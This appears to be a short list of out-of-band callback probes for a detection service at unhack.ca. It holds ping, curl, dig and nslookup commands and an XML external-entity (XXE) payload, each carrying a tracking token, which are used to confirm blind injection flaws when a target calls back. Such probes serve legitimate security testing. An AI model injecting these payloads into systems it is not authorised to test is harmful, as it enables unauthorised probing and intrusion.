$ ping -c1 -p 002282b722df1e113560efe8aff87300 unhack.ca
 

$ curl http://unhack.ca/p/2282b722df1e113560efe8aff873
 

$ dig 2282b722df1e113560efe8aff873 @unhack.ca
 

$ dig 2282b722df1e113560efe8aff873.ns.unhack.ca
 

C:\> nslookup 2282b722df1e113560efe8aff873 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/2282b722df1e113560efe8aff873">]>
    <foo>&xxe;</foo>